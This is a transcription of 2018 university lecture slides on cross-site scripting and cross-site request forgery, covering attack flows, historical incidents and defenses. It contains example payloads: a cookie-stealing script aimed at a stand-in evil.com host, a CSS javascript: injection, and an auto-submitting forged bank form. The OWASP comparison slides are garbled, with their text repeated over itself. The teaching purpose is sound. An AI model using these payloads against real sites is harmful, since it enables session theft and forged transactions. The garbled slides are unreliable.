XSS and CSRF Nov 6, 2018

Transcription

1 XSS CSRF Nov 6, 2018 Credit: some slides are adapted from previous offerings of this course or from CS 241 of Prof. Dan Boneh

2 Exam Mean: 156 (82%): GREAT! Stddev 22, max %.

3 Scribe: Wen Zhang Presenter: Bron Lin

4 Trump s site hacked y apparently XSS!!!!

5 You could insert anything you wanted in the headlines by typing it into the URL a form of reflected XSS

6 This new category was created by merging 2010-A7 Insecure Cryptographic Storage & 2010-A9 - Insufficient Transport Thisnew newcategory categorywas was created merging 2010-A7 Insecure Cryptographic Storage& & - -Insufficient Transport This byby merging 2010-A7 Insecure Cryptographic Storage 2010-A9 - Insufficient Transport This new category wascreated created by merging 2010-A7 Insecure &2010-A A9 Insufficient Layer Protection, plus adding browser side sensitive data risks ascryptographic well. This newstorage category covers sensitive data Transport Layer Protection, plus adding browser side sensitive data risks as well. This new category covers sensitive data Layer plus browser side sensitive data risks as as well. This new category covers sensitive datadata LayerProtection, Protection, plusadding adding browser side sensitive data risks well. new category sensitive protection (other than access control which is covered by 2013-A A4 This 2013-A7) fromthe thecovers moment sensitive dataisis protection (other than access control which is covered by 2013-A7) from moment sensitive data protection (other than access control which is covered by 2013-A A7) from the moment sensitive data is is protection (other than access control which is covered by 2013-A A7) from the moment sensitive data provided by the user, sent to stored within the application, then then sent sent back backto tothe thebrowser browseragain. again. provided by the user, sent to stored within the application, provided stored within thethe application, then sent back to the browser again. providedbybythe theuser, user,sent senttoto stored within application, then sent back to the browser again. 5) We added: 2013-A9: Using Known Vulnerable Components: 5) We Weadded: added:2013-a9: 2013-A9:Using Using Known Vulnerable Components: 5)5) Vulnerable Components: We added: 2013-A9: UsingKnown Known Vulnerable Components: This issue was mentioned part 2010-A6 SecurityMisconfiguration, Misconfiguration, but now has category ofits itsown own asthe the Thisissue issuewas wasmentioned mentionedasas as part of 2010-A6 but now has aaacategory ++++ This part ofof 2010-A6 Security but now has a category ofof its asas the This issue was mentioned as part of 2010-A6 Security SecurityMisconfiguration, Misconfiguration, but now has category of own its own as the growth depth component based development has significantly increased the risk ofusing using known vulnerable growth depth depthofof of component based development has significantly increased the risk known vulnerable growth based development has significantly increased the risk ofof using known vulnerable growth depth ofcomponent component based development has significantly increased the risk of using known vulnerable components. components. components. components. Top web vulnerabilities OWASP Top (Previous) OWASPTop Top (Previous) OWASP OWASP Top (Previous) (Previous) OWASP Top (New) OWASP Top 10 (New) OWASP (New) OWASPTop Top (New) A1 Injection Injection A1 Injection A1 Injection Injection A1A1 Injection Injection A1 Injection A3 Broken BrokenAuthentication Authentication Session Management A3 Management Broken Authentication Session Management A3 Broken Authentication Session Session Management Broken Authentication Session Management A2A2 Broken Authentication Session Management Broken Authentication Session Management A2 Broken Authentication Session Management A2 Cross-Site Cross-SiteScripting Scripting(XSS) (XSS) A2 A2 Cross-Site Scripting (XSS) A2 Cross-Site Scripting (XSS) Cross-Site Scripting (XSS) A3A3 Cross-Site Scripting (XSS) A3 Cross-Site Scripting (XSS) A3 Cross-Site Scripting (XSS) A4 Insecure InsecureDirect DirectObject ObjectReferences References A4 A4 Insecure Direct Object References A4 Insecure Direct Object References Insecure Direct Object References A4A4 Insecure Direct Object References A4 Insecure Direct Object References A4 Insecure Direct Object References A6 Security SecurityMisconfiguration Misconfiguration A6 A6 A6 Security SecurityMisconfiguration Misconfiguration Security Misconfiguration A5A5 Security Misconfiguration A5 A5 Security Security Misconfiguration Misconfiguration A7 A7 Insecure InsecureCryptographic CryptographicStorage Storage Merged Mergedwith witha9a9 A7 A7 Insecure InsecureCryptographic CryptographicStorage Storage Merged Mergedwith witha9 A9 A6A6 Sensitive Data Exposure Sensitive Data Exposure A6 A6 Sensitive Sensitive Data Data Exposure Exposure A8 A8 Failure FailuretotoRestrict RestrictURL URLAccess Access Broadened Broadenedinto into A8 Failure Failureto torestrict RestrictURL URLAccess Access Broadened Broadenedinto into A8 A7A7 Missing Function Level Access Control Missing Function Level Access Control A7 Missing Missing Function Function Level Level Access Access Control Control A7 A5 A5 Cross-Site Cross-SiteRequest RequestForgery Forgery(CSRF) (CSRF) A5 Cross-Site Cross-SiteRequest RequestForgery Forgery(CSRF) (CSRF) A5 A8A8 Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF) A8 Cross-Site Cross-Site Request Request Forgery Forgery (CSRF) (CSRF) A8 <buried <buriedinina6: A6:Security SecurityMisconfiguration> Misconfiguration> <buriedinina6: A6:Security SecurityMisconfiguration> Misconfiguration> <buried A10 A10 Unvalidated UnvalidatedRedirects Redirects Forwards Forwards A10 Unvalidated UnvalidatedRedirects Redirects Forwards Forwards A10 A9 A9 Insufficient InsufficientTransport TransportLayer LayerProtection Protection A9 Insufficient InsufficientTransport TransportLayer LayerProtection Protection A9 A9A9 Using Known Vulnerable Components Using Known Vulnerable Components A9 Using Using Known Known Vulnerable Vulnerable Components Components A9 A10 Unvalidated Redirects Forwards A10 Unvalidated Redirects Forwards A10 Unvalidated Unvalidated Redirects Redirects Forwards Forwards A10 Merged with 2010-A7 into new 2013-A6 Merged with 2010-A7 into new 2013-A6 Merged with with 2010-A A7 into into new new 2013-A A6 Merged 6

7 Cross-site scripting attack (XSS) Attacker injects a malicious script into the webpage viewed by a victim user n Script runs in user s browser with access to page s data The same-origin policy does not prevent XSS

8 Two main types of XSS Stored XSS: attacker leaves Javascript lying around on benign web service for victim to load Reflected XSS: attacker gets user to click on speciallycrafted URL with script in it, web service reflects it back

9 Stored (or persistent) XSS The attacker manages to store a malicious script at the web server, e.g., at bank.com The server later unwittingly sends script to a victim s browser Browser runs script in the same origin as the bank.com server

10 Demo + fix

11 Stored XSS (Cross-Site Scripting) Attack Browser/Server evil.com

12 Stored XSS (Cross-Site Scripting) Attack Browser/Server 1 Inject malicious script Server Patsy/Victim evil.com bank.com

13 Stored XSS (Cross-Site Scripting) Attack Browser/Server User Victim 1 evil.com Inject malicious script Server Patsy/Victim bank.com Stores the script!

14 Stored XSS (Cross-Site Scripting) Attack Browser/Server User Victim 1 evil.com Inject malicious script Server Patsy/Victim bank.com Stores the script!

15 Stored XSS (Cross-Site Scripting) Attack Browser/Server User Victim 1 evil.com Inject malicious script Server Patsy/Victim bank.com Stores the script!

16 Stored XSS (Cross-Site Scripting) Attack Browser/Server User Victim 4 1 Inject malicious script Server Patsy/Victim evil.com execute script embedded in input as though server meant us to run it bank.com Stores the script!

17 Stored XSS (Cross-Site Scripting) Attack Browser/Server User Victim 4 1 Inject malicious script Server Patsy/Victim evil.com execute script embedded in input as though server meant us to run it bank.com Stores the script!

18 Stored XSS (Cross-Site Scripting) Attack Browser/Server User Victim 4 1 Inject malicious script Server Patsy/Victim evil.com execute script Stores embedded in input the as though server script! meant E.g., us GET to run it

19 Stored XSS (Cross-Site Scripting) And/Or: Attack Browser/Server User Victim 6 1 evil.com Inject malicious script 4 Server Patsy/Victim execute script embedded in input as though server meant us to run it bank.com Stores the script!

20 Stored XSS (Cross-Site Scripting) And/Or: Attack Browser/Server User Victim 6 1 evil.com E.g., GET Inject malicious script 4 Server Patsy/Victim execute script embedded in input as though server meant us to run it bank.com Stores the script!

21 Stored XSS (Cross-Site Scripting) Attack Browser/Server User Victim 6 1 evil.com Inject malicious script 4 Server Patsy/Victim execute script embedded in input as though server meant us to run it bank.com (A stored XSS attack)

22 XSS subverts the same origin policy Attack happens within the same origin Attacker tricks a server (e.g., bank.com) to send malicious script ot users User visits to bank.com Malicious script has origin of bank.com so it is permitted to access the resources on bank.com

23 MySpace.com (Samy worm) Users can post HTML on their pages n n MySpace.com ensures HTML contains no <script>, <body>, onclick, <a href=javascript://> but can do Javascript within CSS tags: <div style= background:url( javascript:alert(1) ) > With careful Javascript hacking, Samy worm infects anyone who visits an infected MySpace page n adds Samy as a friend. n Samy had millions of friends within 24 hours.

24 Twitter XSS vulnerability User figured out how to send a tweet that would automatically be retweeted by all followers using vulnerable TweetDeck apps.

25 Stored XSS using images Suppose pic.jpg on web server contains HTML! w request for results in: HTTP/ OK Content-Type: image/jpeg <html> fooled ya </html> w IE will render this as HTML (despite Content-Type) Consider photo sharing sites that support image uploads What if attacker uploads an image that is a script?

26 Reflected XSS The attacker gets the victim user to visit a URL for bank.com that embeds a malicious Javascript or malicious content The server echoes it back to victim user in its response Victim s browser executes the script within the same origin as bank.com

27 Reflected XSS (Cross-Site Scripting) Victim client

28 Reflected XSS (Cross-Site Scripting) 1 Attack Server evil.com Victim client

29 Reflected XSS (Cross-Site Scripting) 1 Attack Server 2 evil.com Victim client

30 Reflected XSS (Cross-Site Scripting) 1 Attack Server 2 Exact URL under attacker s control evil.com Victim client Server Patsy/Victim bank.com

31 Reflected XSS (Cross-Site Scripting) 1 Attack Server 2 evil.com Victim client Server Patsy/Victim bank.com

32 Reflected XSS (Cross-Site Scripting) 1 Attack Server 2 evil.com Victim client 5 execute script embedded in input as though server meant us to run it Server Patsy/Victim bank.com

33 Reflected XSS (Cross-Site Scripting) 1 Attack Server 2 evil.com Victim client 5 execute script embedded in input as though server meant us to run it Server Patsy/Victim bank.com

34 Reflected XSS (Cross-Site Scripting) And/Or: 1 Attack Server 2 7 evil.com Victim client 5 execute script embedded in input as though server meant us to run it Server Patsy/Victim bank.com

35 Reflected XSS (Cross-Site Scripting) Victim client 5 execute script embedded in input as though server meant us to run it Attack Server evil.com ( Reflected XSS attack) Server Patsy/Victim bank.com

36 Example of How Reflected XSS Can Come About User input is echoed into HTML response. Example: search field n n search.php responds with <HTML> <TITLE> Search Results </TITLE> <BODY> Results for $term :... </BODY> </HTML> How does an attacker who gets you to visit evil.com exploit this?

37 Injection Via Script-in-URL Consider this link on evil.com: (properly URL encoded) <script> window.open( " = " + document.cookie ) </script> What if user clicks on this link? 1) Browser goes to bank.com/search.php?... 2) bank.com returns <HTML> Results for <script> </script> 3) Browser executes script in same origin as bank.com Sends to evil.com the cookie for bank.com

38 2006 Example Vulnerability Attackers contacted users via fooled them into accessing a particular URL hosted on the legitimate PayPal website. Injected code redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were then redirected to a phishing site prompted to enter sensitive financial data. Source:

39 You could insert anything you wanted in the headlines by typing it into the URL a form of reflected XSS

40 Reflected XSS: Summary Target: user with Javascript-enabled browser who visits a vulnerable web service that will include parts of URLs it receives in the web page output it generates Attacker goal: run script in user s browser with same access as provided to server s regular scripts (subvert SOP = Same Origin Policy) Attacker tools: ability to get user to click on a speciallycrafted URL; optionally, a server used to receive stolen information such as cookies Key trick: server fails to ensure that output it generates does not contain embedded scripts other than its own

41 Preventing XSS Web server must perform: Input validation: check that inputs are of expected form (whitelisting) n Avoid blacklisting; it doesn t work well Output escaping: escape dynamic data before inserting it into HTML

42 Output escaping n HTML parser looks for special characters: < > & n n w <html>, <div>, <script> w such sequences trigger actions, e.g., running script Ideally, user-provided input string should not contain special chars If one wants to display these special characters in a webpage without the parser triggering action, one has to escape the parser Character Escape sequence < < > > & &amp " &#39;

43 Direct vs escaped embedding Attacker input: direct <html> Comment: <script> </script> </html> browser rendering Attack! Script runs! <script> </script> escaped <html> Comment: <script> </script> </html> browser rendering Comment: <script> </script> Script does not run but gets displayed!

44 Escape user input!

45 XSS prevention (cont d): Contentsecurity policy (CSP) Have web server supply a whitelist of the scripts that are allowed to appear on a page n Web developer specifies the domains the browser should allow for executable scripts, disallowing all other scripts (including inline scripts) Can opt to globally disallow script execution

46 XSS Summary XSS: Attacker injects a malicious script into the webpage viewed by a victim user n n Script runs in user s browser with access to page s data Bypasses the same-origin policy Fixes: validate/escape input/output, use CSP

47 CSRF

48 Cross Site Request Forgery (CSRF)

49 This new category was created by merging 2010-A7 Insecure Cryptographic Storage & 2010-A9 - Insufficient Transport Thisnew newcategory categorywas was created merging 2010-A7 Insecure Cryptographic Storage& & - -Insufficient Transport This byby merging 2010-A7 Insecure Cryptographic Storage 2010-A9 - Insufficient Transport This new category wascreated created by merging 2010-A7 Insecure &2010-A A9 Insufficient Layer Protection, plus adding browser side sensitive data risks ascryptographic well. This newstorage category covers sensitive data Transport Layer Protection, plus adding browser side sensitive data risks as well. This new category covers sensitive data Layer plus browser side sensitive data risks as as well. This new category covers sensitive datadata LayerProtection, Protection, plusadding adding browser side sensitive data risks well. new category sensitive protection (other than access control which is covered by 2013-A A4 This 2013-A7) fromthe thecovers moment sensitive dataisis protection (other than access control which is covered by 2013-A7) from moment sensitive data protection (other than access control which is covered by 2013-A A7) from the moment sensitive data is is protection (other than access control which is covered by 2013-A A7) from the moment sensitive data provided by the user, sent to stored within the application, then then sent sent back backto tothe thebrowser browseragain. again. provided by the user, sent to stored within the application, provided stored within thethe application, then sent back to the browser again. providedbybythe theuser, user,sent senttoto stored within application, then sent back to the browser again. 5) We added: 2013-A9: Using Known Vulnerable Components: 5) We Weadded: added:2013-a9: 2013-A9:Using Using Known Vulnerable Components: 5)5) Vulnerable Components: We added: 2013-A9: UsingKnown Known Vulnerable Components: This issue was mentioned part 2010-A6 SecurityMisconfiguration, Misconfiguration, but now has category ofits itsown own asthe the Thisissue issuewas wasmentioned mentionedasas as part of 2010-A6 but now has aaacategory ++++ This part ofof 2010-A6 Security but now has a category ofof its asas the This issue was mentioned as part of 2010-A6 Security SecurityMisconfiguration, Misconfiguration, but now has category of own its own as the growth depth component based development has significantly increased the risk ofusing using known vulnerable growth depth depthofof of component based development has significantly increased the risk known vulnerable growth based development has significantly increased the risk ofof using known vulnerable growth depth ofcomponent component based development has significantly increased the risk of using known vulnerable components. components. components. components. Top web vulnerabilities OWASP Top (Previous) OWASPTop Top (Previous) OWASP OWASP Top (Previous) (Previous) OWASP Top (New) OWASP Top 10 (New) OWASP (New) OWASPTop Top (New) A1 Injection Injection A1 Injection A1 Injection Injection A1A1 Injection Injection A1 Injection A3 Broken BrokenAuthentication Authentication Session Management A3 Management Broken Authentication Session Management A3 Broken Authentication Session Session Management Broken Authentication Session Management A2A2 Broken Authentication Session Management Broken Authentication Session Management A2 Broken Authentication Session Management A2 Cross-Site Cross-SiteScripting Scripting(XSS) (XSS) A2 A2 Cross-Site Scripting (XSS) A2 Cross-Site Scripting (XSS) Cross-Site Scripting (XSS) A3A3 Cross-Site Scripting (XSS) A3 Cross-Site Scripting (XSS) A3 Cross-Site Scripting (XSS) A4 Insecure InsecureDirect DirectObject ObjectReferences References A4 A4 Insecure Direct Object References A4 Insecure Direct Object References Insecure Direct Object References A4A4 Insecure Direct Object References A4 Insecure Direct Object References A4 Insecure Direct Object References A6 Security SecurityMisconfiguration Misconfiguration A6 A6 A6 Security SecurityMisconfiguration Misconfiguration Security Misconfiguration A5A5 Security Misconfiguration A5 A5 Security Security Misconfiguration Misconfiguration A7 A7 Insecure InsecureCryptographic CryptographicStorage Storage Merged Mergedwith witha9a9 A7 A7 Insecure InsecureCryptographic CryptographicStorage Storage Merged Mergedwith witha9 A9 A6A6 Sensitive Data Exposure Sensitive Data Exposure A6 A6 Sensitive Sensitive Data Data Exposure Exposure A8 A8 Failure FailuretotoRestrict RestrictURL URLAccess Access Broadened Broadenedinto into A8 Failure Failureto torestrict RestrictURL URLAccess Access Broadened Broadenedinto into A8 A7A7 Missing Function Level Access Control Missing Function Level Access Control A7 Missing Missing Function Function Level Level Access Access Control Control A7 A5 A5 Cross-Site Cross-SiteRequest RequestForgery Forgery(CSRF) (CSRF) A5 Cross-Site Cross-SiteRequest RequestForgery Forgery(CSRF) (CSRF) A5 A8A8 Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF) A8 Cross-Site Cross-Site Request Request Forgery Forgery (CSRF) (CSRF) A8 <buried <buriedinina6: A6:Security SecurityMisconfiguration> Misconfiguration> <buriedinina6: A6:Security SecurityMisconfiguration> Misconfiguration> <buried A10 A10 Unvalidated UnvalidatedRedirects Redirects Forwards Forwards A10 Unvalidated UnvalidatedRedirects Redirects Forwards Forwards A10 A9 A9 Insufficient InsufficientTransport TransportLayer LayerProtection Protection A9 Insufficient InsufficientTransport TransportLayer LayerProtection Protection A9 A9A9 Using Known Vulnerable Components Using Known Vulnerable Components A9 Using Using Known Known Vulnerable Vulnerable Components Components A9 A10 Unvalidated Redirects Forwards A10 Unvalidated Redirects Forwards A10 Unvalidated Unvalidated Redirects Redirects Forwards Forwards A10 Merged with 2010-A7 into new 2013-A6 Merged with 2010-A7 into new 2013-A6 Merged with with 2010-A A7 into into new new 2013-A A6 Merged 49

50 HTML Forms Allow a user to provide some data which gets sent with an HTTP POST request to a server <form action="bank.com/action.php"> First name: <input type="text" name="firstname"> Last name:<input type="text" name="lastname"> <input type="submit" value="submit"></form> When filling in Alice Smith, clicking submit, the browser issues HTTP POST request bank.com/action.php?firstname=alice&lastname=smith As always, the browser attaches relevant cookies

51 Recall: session using cookies Browser Server

52 Basic picture Server Victim bank.com User Victim cookie for bank.com What can go bad? Attack Server URL contains transaction action, bank checks cookie

53 Cross Site Request Forgery (CSRF) Example: n User logs in to bank.com w Session cookie remains in browser state n User visits malicious site containing: <form name=f action= <input name=recipient value=badguy> <script> document.f.submit(); </script> n Browser sends user auth cookie with request w Transaction will be fulfilled Problem: n cookie auth is insufficient when side effects occur

54 Form post with cookie Cookie: SessionID=523FA4cd2E User credentials

55 Form post with cookie Cookie: SessionID=523FA4cd2E User credentials

56 2008 CSRF attack An attacker could add videos to a user s "Favorites," add himself to a user s "Friend" or "Family" list, send arbitrary messages on the user s behalf, flagged videos as inappropriate, automatically shared a video with a user s contacts, subscribed a user to a "channel" (a set of videos published by one person or group), added videos to a user s "QuickList" (a list of videos a user intends to watch at a later point).

57

58 Defenses

59 CSRF Defenses Secret Validation Token <input type=hidden value=23a3af01b> Referer Validation Others (e.g., custom HTTP Header) Referer: X-Requested-By: XMLHttpRequest

60 Secret Token Validation The server requests a secret token for every action, the user s browser obtained this token if the user visited the site browsed to that action, instead of directly sending an action; attacker won t have the token 1. goodsite.com server includes a secret token into the webpage (e.g., in forms as a hidden field) 2. Requests to goodsite.com include the secret 3. goodsite.com server checks that the token embedded in the webpage is the expected one; reject request if not Can the token be? Dateofbirth Validation token must be hard to guess by the attacker

61 How token is used! The server stores state that binds the user's CSRF token to the user's session id! Embeds CSRF token in every form! On every request the server validates that the supplied CSRF token is associated with the user's session id! Disadvantage is that the server needs to maintain a large state table to validate the tokens.

62 Other CRSF protection: Referer Validation When the browser issues an HTTP request, it includes a referer header that indicates which URL initiated the request This information in the Referer header could be used to distinguish between same site request cross site request

63 Referer Validation

64 Referer Validation Defense HTTP Referer header n n n Referer: Referer: Referer: w Strict policy disallows (secure, less usable) w Lenient policy allows (less secure, more usable) ü û?

65 Privacy Issues with Referer header! The referer contains sensitive information that impinges on the privacy! The referer header reveals contents of the search query that lead to visit a website.! Some organizations are concerned that confidential information about their corporate intranet might leak to external websites via Referer header

66 Referer Privacy Problems Referer may leak privacy-sensitive information projects/iphone/competitors.html Common sources of blocking: n n n n Network stripping by the organization Network stripping by local machine Stripped by browser for HTTPS -> HTTP transitions User preference in browser Hence, such block might help attackers in the lenient policy case

67 Custom HTTP Headers Browsers prevent sites from sending custom HTTP headers to another site but allow sites to send custom HTTP headers to themselves. Cookie value is not actually required to prevent CSRF attacks, the mere presence of the header is sufficient. To use this scheme as a CSRF Defense, a site must issue all state modifying requests using XMLHttpRequest, attach the header reject all requests that do not accompany the header.

68 Custom Header Defense XMLHttpRequest is for same-origin requests n Can use setrequestheader within origin Limitations on data export format n n No setrequestheader equivalent XHR2 has a whitelist for cross-site requests Issue POST requests via AJAX: Doesn't work across domains X-Requested-By: XMLHttpRequest

69 Summary: sessions CSRF Cookies add state to HTTP n n Cookies are used for session management They are attached by the browser automatically to HTTP requests CSRF attacks execute request on benign site because cookie is sent automatically Defenses for CSRF: n n embed unpredicatable token check it later check referer header

70 Questions?